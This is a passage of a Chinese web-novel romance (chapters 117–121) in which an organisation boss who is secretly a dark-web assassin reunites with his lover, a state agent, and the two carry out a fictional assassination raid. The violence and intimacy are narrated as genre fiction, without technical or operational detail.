毕竟谁都清楚,当场格杀拉尔斯能带来的利益,绝对远超放他一条生路的价值。 毕竟什么都是假的,那赏金是真的啊。 “毕竟之前答应过,我们就做一次君子。” Sam默默嘀咕一句:“其实我愿意当小人......” 不过他心中也清楚,对面明显不是什么散兵游勇,要是真干起来,自己这边也少不了伤亡。 就当是破财消灾了。 但...... 时清徵下意识地不想在那个地方继续纠缠。 或者说,他潜意识里抗拒与顾鸣鹤在那种情境下兵戎相见,或者针锋相对。 一股莫名的烦躁涌上心头,他用力揉了下突突直跳的太阳穴,轻啧了声。 他的思绪回到之前的信息,宋燕回的身份已经明确是第七局。 那么,与他合作的阿南,自然也是第七局的人。 如此一来,她之前处心积虑接近FK,提供情报并且协助对付拉尔斯等一系列行为,就都有了合理的解释。 还有顾鸣鹤...... 时清徵无论如何也没想到,他竟然也是第七局的人。 不过,时清徵对第七局内部架构和人员并不熟悉,此刻也无法判断顾鸣鹤在第七局中究竟扮演着何种角色。 原本今夜时清徵是打算把拉尔斯和阿南除掉的。 但是.....计划赶不上变化。 总之阿南走了也不是什么坏事,拉尔斯集团倒得可以更快些了。 时清徵这种复杂纠结的心情一直持续到第二天傍晚。 就在时清徵回完一道通知后,他的手机响了下。 是顾鸣鹤发来的消息。 【顾鸣鹤:你在哪?】 时清徵摩挲着手机边缘,不知道怎么回。 第七局昨夜离开,顾鸣鹤现在应该是回到A国了。 时清徵点开键盘,半天不知道怎么回。 顾鸣鹤看着手机最上方那一行,对方正在输入中。 久久没有等来对方的消息,直接一通电话甩了过去。 时清徵接起电话,就看见顾鸣鹤那张脸。 顾鸣鹤:“在哪呢?” 他语调有些温柔,带着些小心翼翼。 时清徵:“.....在工作。” 拉尔斯集团倒台,FK和它的竞争对手添了不少火,如今正想着瓜分呢。 只见视频画面里,顾鸣鹤似乎站在室外,但他占了画面的绝大部分,让时清徵不能判断他如今是不是安全到京城了。 对方的手机晃了一下。 时清徵也晃了下神,注意到对方眉眼间藏不住的倦怠。 以及那眼眸下的乌黑色,似乎是累极了的样子。 时清徵的心被轻轻刮蹭了一下,脱口而出:“你很累吗?” 顾鸣鹤没有直接回答这个问题,而是透过手机屏幕,目光轻轻落在时清徵脸上。 “我在酒店楼下。” 时清徵微微一怔,下意识反问:“什么?” 他一时间没有明白这句话的意思,或者是不敢相信这句话的意思。 下一秒,顾鸣鹤的手机镜头调转,画面骤然一变。 时清徵看到的是一个熟悉的建筑。 那是他这些日子一直住着的酒店。 此时的手机镜头正好对准了酒店的大门。 时清徵眼中闪过错愕。 顾鸣鹤昨夜不是离开了吗? “你......怎么来了?” 时清徵说不清楚自己现在是什么心情,只知道自己握着手机的手指有些用力。 难以言喻的复杂情绪交织着,震惊,疑惑以及那悸动。 此时镜头再次调转,重新回到了顾鸣鹤身上。 只见那人扬唇轻笑:“时小徵。” 语气带着些暧昧缱绻,却又显得格外正经。 因为疲懒语调有些低缓,可就是让人感觉悦耳。 “我来找你了,时小徵。” 那人再次开口。 此时的他往前走了两步,从酒店的阴影中离开,前方便是一片斜阳撒下的光。 画面一亮,顾鸣鹤走进了光中,连发丝都在闪。 “来接我。” 这句话显得有些任性刁蛮,跟顾鸣鹤往常的形象有点不符,但却毫不违和。 时清徵喉头微动:“好。” 第117章 顾鸣鹤,你是不是有病 十几分钟后,时清徵的车停在酒店外,还未下车他就远远看见站在路边的顾鸣鹤。 一个人,垂着头,霞光孤单地落在他身上,显得可怜巴巴的。 这十几分钟内来往车辆不少,只是恰在此时,顾鸣鹤若有所感,忽然抬头。 就看见一辆刚停稳的车上下来了一个人。 “时......” 他一眼就认出了,露出一抹笑来,想叫人。 只是还没说什么,就被快步跑来的人扑了个满怀。 两人分开半个多月了,除了昨晚,顾鸣鹤又闻到了时清徵身上的气息。 顾鸣鹤抬手,一只手放在时清徵的后腰上,一只手放在了时清徵脑后,轻轻揉了下。 此时夕阳更西沉了,把两个人的影子拉的很长,可是却又紧紧的贴在一起,像是融为了一体。 顾鸣鹤先前有很多话想说,可是现在只想抱着这个人。 他没话说,时清徵倒是有话说。 时清徵松开抱着顾鸣鹤的手,抬眸看他。 “顾鸣鹤。” “嗯。” “你是不是有病?” 顾鸣鹤:........ 时清徵一边拉着手腕往酒店走,一边指了指天边的太阳。 “热死了。” 东南群岛只有一种天,那就叫夏天。 太阳未落,暑气未消,顾鸣鹤真是脑子有坑才会站在光下面。 明明旁边都是建筑,稍微一躲就能走到阴凉处,再不济也可以进酒店。 时清徵咬着后槽牙把人带了上去。 “砰——!” 房门被时清徵反手用力摔上,门锁咔哒地落下,隔绝了外界一切纷杂。 屋外的光线被厚重的阻挡,只有玄关处的感应灯此时亮起柔和的光。 光线勾勒出两人挤在一起的身形。 时清徵拉着顾鸣鹤的衣领,迫使人低头。 两人的目光在一垂一抬中交汇。 时清徵没有言语,只是猛地凑上前,唇齿相依。 心脏相临,可轻松地觉查到对方胸腔的震动。 时清徵亲的很凶,带着点撕咬的劲儿,不容置疑的力道碾了过去,带着宣泄不出了情绪。 如今所有,全都化在其中了。 顾鸣鹤身体在最初被拉了一下的僵硬,所及就像是干柴遇烈火,越晒越旺。 他猛地的抬手抓住时清徵后腰的布料,另一只手在时清徵前方的衣服下摆处游荡,进入,摩挲。 唇齿交缠,水声啧啧。 顾鸣鹤很快就掌握了节奏,从一开始的迎受到了主动。 节奏也从一开始的粗暴交缠到了后面的细雨绵绵。 时清徵扯住顾鸣鹤的手松了,顺势滑下,放在顾鸣鹤的胸口处。 他轻喘着气,眼睫微颤。 顾鸣鹤也低头看着时清徵红肿湿润的唇瓣,他的膝盖还强势地挤在时清徵的双腿之间。 安静中,只能听见两人的呼吸声。 一旁的地感应灯灭了又亮,又灭了。 两人这才分开。 时清徵去拉窗帘,窗外橘黄的光就斜斜的照亮了一半的房间。 顾鸣鹤倒了杯水,递给时清徵。 时清徵摇头:“你喝。” 顾鸣鹤也没喝,只是把水杯放到了一边。 就着光,时清徵看见顾鸣鹤唇角破了。 而他又好到哪里去了呢? “怎么又回来了?”时清徵伸手摸了摸顾鸣鹤的眉眼。 “因为想见你。” 顾鸣鹤低头,抬手扣住时清徵的后脖颈,然后往自己的方向一压。 两人额头抵住额头,鼻尖对着鼻尖。 呼吸都是滚烫炽热的。 可两人最终还是没做什么,时清徵见顾鸣鹤这副样子就知道他没有吃饭。 时清徵让人把饭送了进来,然后拉着人坐下吃。 时清徵没吃几口,大多时候都在盯着顾鸣鹤看。 托着下巴,看着对面人似乎怎么都看不腻。 顾鸣鹤总是会在他不知情的情况下给他一个惊喜。 撤下饭后,时清徵正好去接了几个工作的电话。 而顾鸣鹤也在跟里特助沟通工作的事。 毕竟他长时间没有回公司,先前的公务一直是副总和李特助在处理。 李特助原本收到顾鸣鹤回来的消息,准备好跟他做公务交接。 结果顾鸣鹤居然没有回公司,而是直接订了机票来了东南群岛。 时清徵半扯半压地把人扣进床里,然后轻抚着顾鸣鹤眼底的乌青:“没休息好?” 顾鸣鹤昨夜离开时情绪就有些复杂,任务在身显然不可能睡好。 回到A国结束任务后,回家还没待够一个小时,就又订了临时飞东南群岛的机票。 没有头等舱,他在经济舱也没休息好。 一落地就联系那些保镖,直接来了时清徵住的酒店,直到见了时清徵才松了心。 顾鸣鹤想说什么,却被时清徵伸出一根手指来抵住了唇:“嘘——” “先休息。” 顾鸣鹤纵有满心慌乱,此时也已经散了。 “陪我睡。” 他拉着时清徵不肯撒手,声音带着轻柔。 时清徵没想到顾鸣鹤流露出近乎笨拙的依恋和撒娇时会是这么一副模样。 让人无法,也舍不得拒绝。 看着顾鸣鹤有些倦怠但依旧执拗的姿态,时清徵没有犹豫,干脆利落地脱了上衣,躺在顾鸣鹤身边。 顾鸣鹤没有说话,只是动了动身子,把时清徵稳稳地揽进怀里。 随后用下巴轻轻蹭了下时清徵的发顶,带着些慵懒的满足,从喉咙深处溢出轻微的声音,体现了他此时的愉悦。 时清徵被抱着睡已经习惯了,虽然他并不累,可还是很快就睡着了。 这一觉睡得格外安稳,时清徵的生物钟一如既往地准。 厚重的窗帘很好地遮住了窗外,屋内还是一片昏暗。 薄被不知道什么时候被扯开了,有一半掉在地上。 时清徵动了动,却被一旁的人箍得更紧些。 “宝贝儿,别动。” 声音带着些未睡醒的暗哑,有些鼻音,却显得很性感 就靠在时清徵耳边说,让他的耳尖都不由地酥麻了几分。 时清徵果真也没有再动,只怕吵醒那人。 顾鸣鹤见怀里人果然老实了,闭着眼轻勾了下唇。 可两人都没有再睡去,躺在床上昏昏沉沉,有种半梦半醒的感觉。 迷糊间,时清徵抓住了顾鸣鹤放在他身前的手,紧握了下。 顾鸣鹤没忍住,回握了过去。 “先生醒了?” 时清徵半撑起身,侧头看着顾鸣鹤。 顾鸣鹤也不装睡了,睁眼瞧着他。 第118章 纵容 顾鸣鹤懒洋洋地陷在柔软的床铺里,微微仰头,目光专注地落在时清徵身上。 他缓缓开口,声音带着刚睡醒的微哑和一丝调侃: “埃特纳斯先生。” 然而,那双眼眸中几乎要溢出来的笑意和亲昵,却将这份刻意的称呼冲淡得无影无踪。 对他而言,时清徵这个名字背后究竟代表着FK的掌权者,还是那个他心底的时小徵早已不再重要。 真正重要的,是眼前这个人此时此刻对待他的态度。 只要时清徵还愿意留在他身边,顾鸣鹤才懒得去管他顶着什么名号,或者身处什么位置。 那晚在路口,当他确认埃特纳斯就是时小徵的瞬间,震惊之下,翻涌的更多是惶恐与忐忑。 他害怕这层身份的揭露,会让时清徵觉得被冒犯和被欺骗,从而决绝地抽身离开。 他也担忧自己第七局的身份,会成为横亘在两人之间让时清徵介怀的鸿沟。 但幸好....... 顾鸣鹤的目光贪婪地描摹着时清徵的眉眼,心底涌起满足。 幸好,他的时小徵,依然爱着他,依旧在乎他。 这份爱意,似乎并未因身份的转换而改变分毫。 这个认知让他心头滚烫,忍不住撑着身子坐起来。 他凑近,带着一种近乎虔诚的温柔,轻轻地在时清徵微凉的唇角印下一个珍重而无声的吻。 然而,就在他意犹未尽,想再索取一个吻时,一只温热的手掌却精准地抵住了他的脸颊,把他的脑袋轻轻推开了。 顾鸣鹤:“……??” 他眨了眨眼,脸上瞬间写满了错愕与毫不掩饰的不服气。 他眼神控诉地盯着时清徵,语气带着明显的委屈和耍赖:“不让亲啊?啧,埃特纳斯先生......可真是高贵起来了。” 时清徵非但不恼,反而微微眯起了那双漂亮的眼睛,眸底漾开促狭的笑意。 他眼波流转,带着一丝慵懒的审视,轻轻巧巧地扫了顾鸣鹤一眼。 顾鸣鹤:“.......” 被这眼神一扫,他莫名有点心虚,准备好的控诉也卡了壳。 时清徵这才慢悠悠地开口,声音中带着揶揄: “先生,别光顾着调侃我呀。” 他刻意停顿了一下,眼神变得意味深长:“我还不知道,原来先生您,也这么厉害呢?” 顾鸣鹤伸手抓住时清徵的手,用手指推开他的掌心,低头轻轻啄吻了下。 然后就握着时清徵的手不撒开了。 “对啊,我家时小徵这么厉害,我总不能给你丢人。” 说着,他手趁势而入,与时清徵十指紧扣,丝毫没有撒手的意思。 时清徵想起了什么,眼中笑意更深了:“那先生倒是说说,你哪里厉害了?是开车堵我的时候,还是......” “还是这会儿耍赖的本事?” 顾鸣鹤:“那我厉害的地方可多了去了,宝贝不是见识过?” 两人闹了阵,导致时清徵去基地的时候比往常迟了一个多小时。 虽然大多数事情已经解决了,但还有一些收尾工作离不开时清徵。 更何况时清徵还打算花几天工夫接任务。 不然等回了京城怕是没工夫了。 时清徵怕顾鸣鹤住不惯酒店,就让人带他去了自己的一个住所。 时清徵在东南群岛是有房子的,不过他鲜少住罢了。 先前为了不在保镖面前露马脚,时清徵就没有回去住。 恰好这别墅离FK的东南区基地很近。 住在这一块的基本都是FK分区的一些高层管理。 别墅很干净,可见常有人来打扫,但也很空,显得毫无人气。 时清徵推开别墅大门,便看见顾鸣鹤正对着手机低声交谈。 听内容,又是天和集团那边的事务。 顾鸣鹤余光瞥见时清徵的身影,眼神瞬间亮了起来,握着手机就朝门口走来。 电话那头的人显然还在继续说着什么,声音透过听筒隐约传出。 顾鸣鹤走到时清徵面前,极其自然地俯身在时清徵额头上吻了下。 电话那头没有察觉出丝毫不对劲,还是继续说着:“关于第三季度的.......” 估摸着又过了十几分钟,顾鸣鹤才对着电话那头言简意赅地说了句:“就这样,按计划推进。” 然后干脆利落地挂断了通话。 顾鸣鹤身为天和集团的总裁,本就是日理万机的人物。 此次骤然离开京城这么长时间,堆积如山的事务可想而知。 他平日里就忙得脚不沾地,如今更是分身乏术。 时清徵短期内无法离开东南群岛,便开口问道:“你这边积压的事情太多,要不你先回京城处理?” 谁料,话音刚落,顾鸣鹤立刻挑起眉梢,脸上瞬间换上了一副混合着震惊,委屈和被抛弃感的复杂表情。 “时小徵,你没有心。” 他控诉道,声音里满是不可思议。 时清徵:“......” 顾鸣鹤戏精且自作多情道:“我想陪着你,不然你跑了怎么办?” 时清徵只是瞥了他一眼:“不跑。” “嗯?不信。” 时清徵有些好笑,反问道:“就算我真跑了,你还能抓到我不成?” “那可不好说,万一埃特纳斯先生一时失手落到我手里了呢?” 时清徵眉梢微挑,来了点兴趣:“嗯,那你想怎么样?” 顾鸣鹤像是很认真地思索:“想找个笼子把你锁进去后,天天......” 听着顾鸣鹤不要脸的发言,时清徵却没有像往常那般害恼,而是淡然地接话:“嗯哼,那你就想想吧。” 顾鸣鹤眸色忽然变得幽深。 两人之间的话题不知不觉的跑偏了。 月亮躲进了云层里,只照亮了云边的一圈。 卧室内落地窗被擦得很干净,窗帘完全拉到两旁。 从卧室内可看见夜空,只是屋内的人此刻都没这个闲情逸致。 “顾.....顾鸣鹤。”时清徵语气带着点嗔怒和无力。 “嘘,宝贝别说话。” 顾鸣鹤低头...... 时清徵嘴半张着,唇瓣微红,稀碎地喘着气儿。 而他的两只手被固定在头顶的位置,手腕被一根红线缠着,红线另一头则是绕在顾鸣鹤的小指上。 红线很细,时清徵手腕只要稍稍一用力就断了。 可偏偏时清徵是配合的,他的纵容也让顾鸣鹤更加肆无忌惮了。 所以顾鸣鹤含咬着人耳垂,暧昧道:“如果线断了,我就.......” “顾......唔。” “宝贝省点力气,如果断了,那你可有得喊了。” 第119章 干完这票,回家睡觉 自从那晚过后,时清徵就不愿意陪顾鸣鹤闹了。 一来是太累了,二来也是因为太累了。 也不是说吃了体力的亏,主要还是吃了体位的亏。 时清徵趁着这些时间去暗网上接了不少任务。 其中有几个还是是刺杀拉尔斯的那些子嗣的。 用脚指头想都知道那些悬赏令是拉尔斯的那些仇家和竞争对手下的。 斩草除根嘛。 好习惯。 不过时清徵并不关心这些,于他而言,把任务完成拿到积分刷排名才是正事。 有时是白天,但大多时候都是晚上去刺杀。 惹得顾鸣鹤很不满,但他也没有多问。 拉尔斯生那么多孩子实属是造福时清徵了。 跟切瓜一样,一切一个准。 虽然积分不多,但量变引起质变。 这一晚时清徵又要出去,顾鸣鹤磨着牙从后面抱着时清徵。 “时小徵.....你是不是外面有人了?” 时清徵:“.......你再说一遍。” 顾鸣鹤轻哼一声,颇有些傲娇:“你这几天都见不着人,让我独守空房,说,是不是腻了?” 时清徵:“腻了,所以呢?” “时小徵,你没有心。” 顾鸣鹤一脸控诉,默默走开了,活像是被欺负的模样。 他只是日常逗一逗时清徵罢了,自然不可能真的打扰时清徵去做正事。 就当他以为时清徵会离开时,他却走了过来。 “先生啊。” 顾鸣鹤扭过去,不搭理时清徵。 时清徵眼中笑意闪过:“我带先生出去玩玩,怎么样?” 顾鸣鹤立马像是抓到了时清徵的把柄,很是理直气壮道:“我就说你是出去玩的吧,渣男!” 但最后顾鸣鹤还是很口嫌体正直地跟着时清徵走了。 车子沿着山路行驶,最终停在一处私人庄园外。 此地位置独特,闹中取静。 庄园建在这座山上,却很靠近市中心,能清晰眺望市区内最高的一处商业大厦,但周围仅有寥寥几幢豪宅。 “我们来这里做什么?” 顾鸣鹤压低声音,询问驾驶座上的时清徵。 时清徵没有立刻回答,他弯腰侧身,从驾驶座下方的一个暗格里摸出一把定制手枪。 紧接着,他又摸出了一个只有巴掌大小的微型塑胶炸弹,在手中掂量了一下。 顾鸣鹤看着时清徵的动作,一时语塞。 时清徵一边将炸弹别在战术腰带上,一边语气平淡地解释: “里面住的是总署的一个高级官员。” 他抬了抬下巴指向庄园中心那栋别墅。 “拉尔斯能跟官方搭上军火合作这条线,就是他一手促成的。” “净找麻烦......我们去解决掉他。” 顾鸣鹤忍不住皱眉问道:“这种事......还需要你亲自出马?” 以埃特纳斯的地位,一声令下,自然有无数顶尖杀手效命。 时清徵闻言,理所当然地回答:“因为别人,没我厉害。” “就我们两个人?” 顾鸣鹤环顾四周,确认没有后援。 时清徵没回,只是让顾鸣鹤按一下车门旁的按钮。 随后车门上一处暗格就弹了出来,暗格里放的是一把狙击枪。 时清徵让顾鸣鹤拿着,然后自己整理身上的东西。 顾鸣鹤握着那把狙击枪,一脸复杂:“你原本不会是打算一个人单枪匹马闯进去吧?” 时清徵推开车门,夜风瞬间涌入车厢。 他回头看了顾鸣鹤一眼,那眼神里带着些理所当然,简短道:“不是有你?” 他利落地跨出车门,下一秒声音随风传来,带着轻松: “走了。干完这票,回家睡觉。” 别墅外围的明哨只有两名荷枪实弹的安保在巡逻,防守看起来似乎松懈。 但时清徵清楚,这不过是迷惑外人的表象。 据时清徵掌握的详尽情报,这位官员极其怕死且挥金如土。 所以别墅内部的安保人员数量恐怕能组织一场足球赛了。 在别墅制高点的某个房间,有经验丰富的狙击手二十四小时轮班待命,任何风吹草动都难逃其眼。 两人悄无声息地潜伏在庄园外围的阴影中,仔细观察着目标。 在行动前,时清徵早已将别墅的精确布局图和安保点位等信息烂熟于心。 强行突入,击杀目标,再全身而退。这并非易事,但也不是做不到。 时清徵侧过头,向顾鸣鹤投去一个眼神,做出几个战术手势。 顾鸣鹤瞬间解读了手势含义,眉头却立刻拧紧,眼神中充满了不赞同。 时清徵的手势清晰地传达了他的计划。 他主攻,单独潜入核心区域执行清除,顾鸣鹤负责外围策应,顺便压制狙击手。 而顾鸣鹤的意思则是不放心时清徵一个人潜入。 时清徵凑到人耳边:“你再闹,下次我就不带你来玩了。” 顾鸣鹤却还是直勾勾的看着他。 时清徵妥协:“八分钟,我要是没出来你再行动。” 见顾鸣鹤犹豫了下,时清徵再接再厉:“我需要有人在外面帮我,嗯?” 最终两人各退一步,分头行动。 时清徵从后方潜入,顾鸣鹤则是去解决前面的那些巡逻明哨,避免他们发现行踪。 顾鸣鹤身影极快,干脆利落地扭颈,无声解决了放倒巡逻。 然后借着地形掩护迂回至顶楼狙击手的视野盲区,架狙锁定其位置。 趁顾鸣鹤解决外面巡逻的间隙,时清徵已经潜入了别墅内部。 别墅内部防守很严密,就连走廊上和楼梯口都站着保镖。 如果时清徵轻举妄动,恐怕会面对一蜂窝的敌人。 就在此时,时清徵准备动手的时候,外面一声枪响瞬间惊动了别墅内的保镖。 是狙击枪的声音。 时清徵并不喜欢给狙击枪安装消音器,主要是因为没必要。 于他的任务而言,开一枪没命中后就没有开第二枪的机会了。 对于那些受过专业训练的人,消音器的作用实在不大,而且增加了暴露风险。 这声枪响吸引了很多人的注意力,别墅内乱了半分钟,但仅仅是这半分钟,就让时清徵行动了。 他先是把炸弹安装在走廊和楼梯的位置,设置好倒计时。 完成这一切,他目标明确地走向高官的卧室,没有过多纠缠,只是开枪三两下解决守在外面的人。 第120章 劳模 里面的那个高官听到动静,早已吓得躲了起来,还从里面反锁上了门。 但时清徵只是对着门锁开了枪,然后暴力地将门踹开。 抬手,枪口火光一闪,子弹穿透目标的眉心。 那个高官甚至还没来得及露出惊恐的表情,就倒在了地上。 上面的动静很快引起外面人的注意,别墅外以及楼下的那些安保们纷纷持枪冲了上来。 时清徵估摸了一下时间,把最后一枚微型炸弹放在那个高官身上。 打开窗,从三楼一跃而下。 中间只是用手拉了一下二楼外的窗沿,稍作缓冲。 落地无声。 当时清徵撤离出来时,别墅内发出了巨大的爆炸声,紧接着浓烟就从窗户中冒出。 原先被顾鸣鹤那一声枪响引出去的保镖们持枪追了出去,试图找到偷袭者的位置。 先前顾鸣鹤的第一枪精准命中了高楼上那一个狙击手的头颅,让他可以在后续的躲避中规避不少风险。 顾鸣鹤一边遛那群保镖,一边调整位置开枪。 打完就走,绝不恋战。 那群职业保镖被遛地晕头转向,只感觉四面八方都是敌人,根本摸不清对方的行踪。 反而因为自己这边不断的减员而增添了许多慌乱。 恰在此时,别墅的方向传来了巨大的爆炸声,保镖们匆忙折返。 然而却在别墅外的正门处遇到了时清徵。 时清徵刚从楼上跳下来,正拍自己身上灰呢。 看见来人,伸手就要掏枪。 然后。 “砰!砰!砰!” 数声枪响从那群人的后面传来,枪枪爆头。 时清徵握住枪的手缓缓放了下去,看向开枪者的位置。 只见顾鸣鹤手持狙击步枪,从假山后的阴影里迈步走出。 两人的目光短暂交汇,没有言语。 时清徵轻勾了一下唇。 两人开车离开,也不管后面那栋着火的别墅。 因为刚开过枪,所以时清徵和顾鸣鹤手中的枪头还是热的。 于是就把枪放到后座上了。 回去的时候是顾鸣鹤开车,时清徵则是坐在副驾驶位上看手机。 准确来说是去暗网上结任务。 等这个积分到账后,时清徵这个季度的排行就稳定在了第六位。 前几天他接的几个任务让他从第十一名升到了第八名,而这个任务直接让他升了两名。 距离第五名的积分他也没差多少了。 顾鸣鹤余光瞥见时清徵放下手机,这才放松下来开始跟他贫。 “时小徵,我厉害吧?”他语调微扬,带着点张扬的得意。 时清徵目光落在他身上,淡淡开口:“嗯。” 顾鸣鹤:“........哎,真敷衍。” 时清徵被噎了下,只好补充一句:“厉害。” 完成这个任务过后,时清徵不打算再接任务了,反正还有两个月,不急。 就算现在把排名刷上去到时候又会被那群卷王刷下来了。 嘶。 他也很无奈啊。 竞争压力无处不在,他也只能被迫卷着向前。 顾鸣鹤侧过头,看着刚放下手机的时清徵,打趣道:“你还接杀手的活儿?” “嗯,副业。” 时清徵答得平淡。 经常沾手军火这些灰色地带,打打杀杀不过是常态。 顾鸣鹤扬了扬眉:“你排名肯定很高吧?” “没有。” 时清徵否认。 “嗯?”顾鸣鹤满脸不信。 “前面那些人太卷了,我卷不过。” 他说的是实话。 时清徵并不是很差钱,他做别的来钱比当杀手快多了。 再加上这些年身体原因,他比较惜命,所以除了很重要的任务会亲自出手,其他时候都是摆烂态度。 也是迫不得已的选择。 这行当风险高,但来钱快,排位越高钱来得越快。后面的人自然挤破头想往上爬。 可顶尖任务就那些,没一个好啃的。 像暗网那个悬赏“万岁”的单子,但凡没穷疯的都不会接。 当然也有头铁的,就是那个现任暗网第一,北岛。 时清徵心想,这人如果背后没有大组织当底,贸然接这个任务就是脑子有病。 费时费力追杀一个同等级别的同行,能捞到什么好处? 更何况,他确信北岛找不到自己。 暗网杀手接什么任务,向来严格保密。北岛想通过平台追踪时清徵的动向,很难。 江南月能知道北岛接的是追杀他的单子,也是因为暗网部分安全系统由 FK 负责。 他们自有内部渠道,能走后门查看接任务者。 虽然这样做算是偷窥别人隐私,有些不道德吧,但是那咋了? 时清徵推测了下,如果北岛背后真有组织,幽灵的可能性最大。 他可能跟自己一样,准备赚自家人的钱,但也不排除他是独狼的情况,但可能性小。 排名第一呢,确实也有来杀他的资本。 那人如果也有后门,倒有可能知道他如今就在东南群岛。 时清徵却毫不在意。 等那个北岛来了又如何?照样找不着他。 说不定到时候,他早回A国了。 顾鸣鹤听着时清徵的话,也只好感慨一句:这年头哪里的竞争压力都大,活都不好干啊。 天和集团的那些股东会和董事会也时不时对他指指点点。 虽然他手中股份多,话语权大,但这群人有时依旧敢说三道四,隔几天给他找个麻烦。 这次出任务就是拿出差当借口,回去不知道积了多少工作。 头疼....... 以为的另辟蹊径,结果事实是蹊径上面也挤满了人。 还是要误入歧途吧,结果连歧途都挤不进去。 顾鸣鹤没有再问,时清徵也不会多说什么。 毕竟杀手这行当有一句话:要么让人无从察觉,要么让对方成为死人。 知道的越少也越安全。 时清徵看着越开越快的车,忍不住偏头看顾鸣鹤。 “开这么快做什么?” 顾鸣鹤:“不是说干完这票回家睡觉?” 时清徵:....... 最终顾鸣鹤还是没能得逞,赌气一般地把身子转向另一边。 用后背对着时清徵。 但最后也是他自己没忍住,又老老实实地转了回来。 算了,这几天时小徵估计也累了。 时清徵是真累了,他之前摆烂太久,享受了一段躺平时光,突然被迫连轴转,还有些不适应。 所以他现在满脑子就一件事:把这堆烫手山芋甩出去,然后滚回A国继续躺平。 A国那档子事儿比这里的事好处理多了。 可FK东南区那群老狐狸好不容易逮着人,怎么可能轻易放手? 会议室里,时清徵靠在椅背上,眼皮半耷拉,跟对面几个老家伙沉默对峙。 空气都快冻成冰了。 “还有我事?” 时清徵掀了掀眼皮,语气里的烦躁都快溢出来了。 他忍不住给这群人数他这几天做过的事。 弄没了拉尔斯集团,还顺手收拾了几个不安分的小组织。 谈了几个生意合作,发展了几条新生产线,还接了几个任务....... 时清徵都想给自己发个劳模称号了。 第121章 回A国 时清徵的理由再多,也架不住那群老狐狸成精的口才。 车轱辘话来回碾,道理弯弯绕绕往上摞,一个两个都在那PUA他。 时清徵被绕得脑仁疼,差点就要被忽悠得点头了。 面对一屋子语重心长的“为你好”,时清徵干脆闭嘴,扯出点假模假式的理解挂在脸上。 但他这趟是来通知的,不是来谈判的。 最后会议在时清徵的理解点头中散去。 等那群老狐狸互相递着眼色,以为把这块硬骨头泡软了时,时清徵已经拐出大门,顺便订妥了当天下午的机票。 地球离了谁都不会不转,时清徵深谙这个道理。 这里的事整天不是跟这个势力掰头,就是跟那个势力掰头。 时清徵感觉自己的寿命都要缩短了。 等到时清徵带着顾鸣鹤上了飞机,那群老家伙还没反应过来。 反倒是顾鸣鹤好奇了。 “你不在这多留几天?” 时清徵连着飞机上的WIFI刷视频,整个人窝在里面,头都没抬。 “又没我事,早点走,省得又被他们使唤。” 其实绝大多数的事都不是非要时清徵去做,只是正好他在那里,所以很多重要的事他当然是第一人选。 要是他走了,那群老狐狸也有办法找其他人,或者自己顶上。 哪有谁离不开谁的道理啊。 射手除外,射手是真的离不开辅助。 等到二人回到京城,已经是晚上八点了。 时清徵下了飞机,一通电话就打了过来。 他一边跟着顾鸣鹤往车上走,一边接通电话。 打电话的是Sam。 此时Sam的语气有些绝望。 “老大,你人呢?” 顾鸣鹤帮时清徵打开了车门,等时清徵弯腰坐进去后才走到另一边,坐了进去。 “我回国了。”时清徵不轻不淡地来了这么一句。 然后就像是有预料一般,把手机拿远了些。 “啊!?” 一声哀嚎从手机那头传来,其声之凄厉让坐在前头的司机都忍不住从后视镜里看了一眼。 时清徵掏出蓝牙耳机带上,顺便调低了音量:“......你到底有什么事?” Sam此时的脸上堆满幽怨,在电话对面抱怨着:“老大,你躲得可真不及时。” 不过他也不敢耽搁,迅速把情况简单汇报了一下。 这件事情还跟拉尔斯集团有关。 拉尔斯集团是当地最大的黑帮势力,其最大的经济来源还是当地毒品。 但拉尔斯失踪后,拉尔斯集团迅速土崩瓦解,其毒品市场瞬间被各方势力蚕食。 偏偏 FK 东南区分部出了蛀虫,竟敢沾这脏东西。 “FK的规矩,您清楚。我们从不碰毒。” 时清徵没说话,似乎是在思索什么。 Sam 却是知道时清徵忌讳的。 之前听老大提过一嘴,他的母亲当年就是被过量注射硬生生折磨至死。 果然,时清徵再说话时,眼中闪过冰冷:“以后这种事不用请示。” “直接处理了。” 若此刻他人在东南群岛,怕是已经拎着枪,把那些杂碎拖去喂鲨鱼了。 让他们痛快死?太便宜。 电话挂断,时清徵眉宇间仍凝着一层薄霜。 时清徵直接给FK东南区的一位高层发去信息,要求今夜必须将这群蛀虫彻底清除。 天亮之前,他要看到结果。 言简意赅,不留一丝余地。 对方回复极快,表示会亲自处理。 手机被重新揣回口袋,时清徵侧头望向窗外疾驰倒退的景物,眼底的寒意化不开。 时清徵下手如此果决,不单为这群人私碰毒品,更因他们胆敢触碰FK的红线。 不施雷霆手段,野心只会愈发滋生。 此刻,时清徵反倒觉得这是自己的疏漏。 先前只顾挥刀对外,倒是忘记收拾内部的人了。 顾鸣鹤看出时清徵自从接了那通电话之后心情就不是很好,回到家中才问了句。 “怎么了?” 时清徵回想起那件事,蹙了下眉:“有几个不长眼的,不是什么大事。” 顾鸣鹤倒是没觉得时清徵说的是实话。 他伸出手抚平时清徵紧皱的眉:“难得见你这么生气,还说不是大事。” 时清徵倒没觉得这事有什么不能说的,他吐了一口气,缓声开口:“手下有几个人碰了不该碰的,看来是安生日子过腻了。” 说这话时,一种深切的,毫不掩饰的厌恶从他周身散发出来。 顾鸣鹤没说什么,只是伸出手揽了揽他的肩。 时清徵眼神依旧有些冷:“要不是我现在回来了,不然该亲手料理了他们。” 说到这时,时清徵停了下,缓和了情绪。 转头看着顾鸣鹤:“你们这次行动,多半也跟这档子事儿有关吧?” 以FK在东南群岛的影响力,想查到点东西还是毫不费力的。 所以有势力炸毁拉尔斯手下工厂和据点的事并不是什么秘密。 外人可能觉得是拉尔斯的仇家或者FK做的。 但时清徵只要想一下也不难猜出这些事跟第七局脱不了干系。 嗯。”顾鸣鹤点了下头,接着说道: “拉尔斯集团的手伸得太长,很多暗线犯罪已经牵扯到了国内,影响非常恶劣。” “所以,这也是我们这次一定要活捉拉尔斯的原因。他现在活着,比死了更重要。” 但即使是活捉的拉尔斯,覆灭了拉尔斯集团,还是有很多新势力如同雨后春笋般冒了出来。 这些事是怎么都除不尽的。 但既然能掐断一次,就能掐断第二次。 循环往复,总有一天,这些人总能吃到教训,而他们所守护的一切总能迎来最好的结局。 时清徵有些疲惫地坐在床边,他眼前不断浮现自己那个母亲的身影。 说实话,他不太记得了。 他跟母亲相处的时间太短,要说真的有什么难以割舍的情感是假的。 不过他幼时鲜少的温柔都是来自她们。 一个是他母亲,一个是他姐姐。 